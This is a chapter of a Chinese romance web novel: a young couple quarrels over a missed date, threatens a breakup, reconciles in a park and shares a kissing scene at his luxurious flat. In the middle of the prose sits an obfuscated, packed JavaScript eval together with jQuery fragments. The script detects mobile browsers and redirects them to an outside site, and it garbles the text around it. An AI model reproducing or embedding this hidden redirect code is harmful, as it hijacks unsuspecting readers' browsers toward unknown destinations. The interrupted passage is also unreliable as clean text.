8. 好想你
作品:《再无余》 江以恒其实是真的有事,在十二点钟时他就接到了江母的电话,说是公司里的财务出现了纠纷,法务和财务狼狈为奸跑了。
一时半会要紧,不得不请江以恒这半吊子的大学生来帮忙。
他们江家在厦门有分公司,恰好江母在公司,江以恒十二点多就出门去了公司。
他以为一个多小时就可以解决的事情,毕竟自己只是个半吊子,江母心里也清楚,已经请了专门的律师在路上,所以江以恒没和周余说。
到后来,事情发展到不可控的状态,分公司即将面临财务危机,江以恒被江母抓着学习,根本脱不了身。
江以恒忙得只能抽空和周余说上两句话,说自己可能要晚点到。
临近一点,周余发来很多消息,手机响个不停。
江母让江以恒看看手机,是不是有什么急事。
江以恒到一旁看了手机,全是周余说的狠话,甚至说他不想约会,是不是其实和别人约会。
一条一条消息,没有一条是周余在问自己是发生了什么事,江以恒抿着唇,神色冷淡得不得了。
只觉得心里堵得慌。
到最后周余甚至说了句分手。
他脸色难看得不行,一口气差点咽不上来。
什么意思?
她什么意思,分手就是这么说出口的吗?她周余到底把他当什么了?就因为他迟到了?没顺着她?这么多天的日子到底算什么?心里到底有没有他?
江以恒敛神,一言不发地把手机放进口袋,干脆继续和江母沟通。
江母说接下来江以恒可能需要很忙,学着接手公司法务的事情,别人她不放心,希望他未来能完善国家法律,别再出这种破事。
江以恒应着好,心思却全是周余。
他想,他确实做错了,周余昨晚那么期待这场约会。
但分手就是这么用的?
她平常用着那样炙热的眼神望着他也不是假的。
周余现在一定在乱想吧。
算了。
江以恒脸色阴沉,江母第一次见到江以恒这样的情绪,她沉下脸问:“江以恒!你还有没有把心思放在这里?”
印象里江以恒做事不会这样走神。
江以恒一言不发。
知子莫如母,江母冷笑一声:“你朋友圈那女的怎么回事?你现在就回去,处理好你那乱七八糟的感情再来!”
江以恒也不想在这里待下去,和江母道了歉就走了。
临走之前,江母说:“别把会影响你事业的女人给我带回来!”
江以恒停下脚步,没回头,叹了口气给周余发消息打电话。
没回,莫名的直觉让江以恒认为周余应当是到了中山公园等他。
.
下午四点,周余一个人坐在公园长椅上,有些无措。
江以恒的电话没有接,消息也没有回。
她想了好多,想自己做错了,想自己不应该撂狠话,想自己不应该这样生气,应该等江以恒一个解释。
她不是故意推开江以恒的,只不过她实在忍不住多想,忍不住想到上次那张截图,想到那个漂亮的女生。
周余可以百分百地确定,她长得比自己好看太多。
她也从来不是一个自信满分的女生,女生和女生之间,她总是会有那么一些比较,尤其是面对出现在自己所喜欢的人身边的女生。
周余无助极了。
她不该这样。
把最狠最痛的话留给最亲的人。
周余忍不住弯腰,把手捂在自己脸上。
一分钟。
十分钟。
周余的面前出现一道身影,头顶处落下极为好听又沉哑的声线。
“抱歉周余,我来晚了。”
“可不可以,不要分手。”
.
那天下午,周余在中山公园,扑在江以恒的怀里,泪眼婆娑。
她不敢哭,无论是这么多人还是辛苦的妆,只紧紧抿着唇,告诉自己要有最后的尊严。
那时候的周余还意识不到,说狠话,说分手,不敢哭,都是她那些死撑的尊严还有从陈秋月那儿无意识学来的爱情观。
周余把陈秋月那些死撑的尊严还有狠话学得淋漓尽致。
周余把脸埋在江以恒的怀里,隐隐带着哭腔:“江以恒,我以为你不要我了……”
江以恒其实被周余的那些话多少都有些伤到,但在看到周余穿的精致,化的漂亮的妆容以及无助得像个流浪小猫一般的可怜样时心也软了。
他想,周余的话应该都不是有意的。
她也难过,她心里有他。
所以他也软着声摸摸周余的脑袋,说:“怎么会呢?我怎么会不要你,是你不要我才对。”
周余摇头:“我说的那些话都不算!谁叫你迟到!你去做什么了?”
江以恒说:“家里有些事耽误了。”
周余紧紧抱住江以恒,她想,不是因为其他人就好,没有分手就好,迟不迟到的都无所谓了。
他来找她了。
他不生气就好。
那天下午,电影也来不及了,网红店也没有去。
周余和江以恒去吃了火锅,去了海边。
等到晚上,他们去了江以恒所住的地方。
这是周余第一次来江以恒住的地方,不是周余印象里普通的房子,而是一处很高档的小区。
一层大平层,处处透露着‘昂贵’。
周余从进来时就有些震惊,她说:“你爸妈给你租这么贵的房子吗?”
周余没去过江以恒的家,甚至在芙城也没有去过他的家,也不知道他住在哪儿,只知道他大概住在哪儿。
后来周余很后悔问这句话,显得她很无知。
江以恒只捏着周余的手腕淡笑,说:“不是租的,我爸妈买的。”
周余讶异,这片小区一看就是富贵人家,从他进来时保安就站起来给江以恒恭敬开门,一点都没有敷衍作态,甚至里头的装修都是富丽堂皇的。
她第一次认识到,她男朋友这么有钱吗?
难怪可以毫不犹豫地买一些她觉得很贵的东西。
她甚至以为只是江以恒的零花钱比她多而已。
周余张张嘴,不再说话了。
年少的男生爱冲动,周余不会想到这种冲动的男生疯起来是什么样子,甚至想不到江以恒会不会冲动,在她印象里江以恒一直都很沉稳,比一般男生都成熟。
所以她对江以恒都有一种崇拜在里头,无论他做任何事。
但她低估了江以恒也是个少年男生。
声控灯亮起,密码锁啪嗒一声解开。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15128958|164361||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
江以恒带着周余进屋子里。
门被关上,灯还未开。
江以恒一下把周余压在墙上,把周余空着的两只手用一只手抓住,另一只手撑在墙上。
空气里弥漫着周余身上淡淡的甜橙香水味。
江以恒说不烦是假的,他心里其实多少都有些在意周余说分手,但这都是无须再提的事情,毕竟会损害两人的感情。
但周余今天实在太过好看,这是周余第一次这样郑重他们的约会。
本就清秀的脸蛋在上过妆后更加精致,黑色的丝绒裙衬得她整个人优雅矜娇。
江以恒贴近周余,他比她高出太多,要想贴近她需要弯下腰。
呼出的气息炙热倾洒在她的耳边,嗓音低沉清缓:“小鱼,你今天真好看。”
“好多天没见,我好想你。”
他们一周没见了。
在这种不开灯的房子里,他的声线酥到周余整个人都抖了一下。
周余其实在被江以恒困在身下时就有些紧张,还有些本能的期待。
期待和江以恒的亲热,这是对爱人的基本情感。
她倾向于和江以恒的亲热,所以她顺着江以恒的行为。
但是骨子里的羞赧让周余红了脸,她下意识地偏头,连嗓音都娇了:“你,你说什么呀……”
江以恒胸腔震动,低低地笑音溢出,他很劣性地在周余耳边重复了一遍:“我说,小鱼你今天真好看,我舍不得让你出去给别人看。”
最后一句话他是贴在周余耳边说的。
说完,他很坏地咬了一下周余的耳朵。
“啊。”周余条件反射地轻溢出音往前靠,整个人软在江以恒怀里,“你干嘛……”
江以恒垂眸看周余,他似乎发现了她的敏感地带:“欺负小鱼啊。”
周余唰的一下脸更红了。
这个人,这个人怎么可以把这种话说得理所当然。
江以恒哪做得了不动声色的冷面佛,他抬手捏住周余的脸,就这么吻了上去。
这次的吻比任何一次都带着侵占性,舌尖利落地撬开周余的唇瓣,灵活地掠夺她口腔里每一处。
周余软绵绵地倒在江以恒的怀里任他侵占,她根本反手不了,也不想反手。
只缓慢地回应他。
江以恒松开周余,把手放在周余的腋下,就这么轻松一提,把周余抱起。
周余顺势将两条腿夹住江以恒的腰,双手环住他的脖颈。
一个标准地抱小孩姿势就这么来了。
江以恒将周余抱至沙发,将她困至身下。
吻没停。
在周余快要喘不过气时,江以恒松开了她。
周余神色迷离,期间低低的呜咽早就被江以恒听得一清二楚。
江以恒瞳孔里满是对周余的侵占。
他伸手摸了摸周余的脸颊,将头埋在周余的肩侧。
呼吸沉重地洒在周余的锁骨上。
周余顺势把手放在江以恒的背上,轻轻抚摸。
她想。
原来,根本就不需要什么心机接触,江以恒就这样对她痴迷啊。
周余忍不住傻笑。
这一刻实在太过美好,以至于周余过了很多年,都没能把这一天忘记。
没能忘记江以恒的任何一个动作。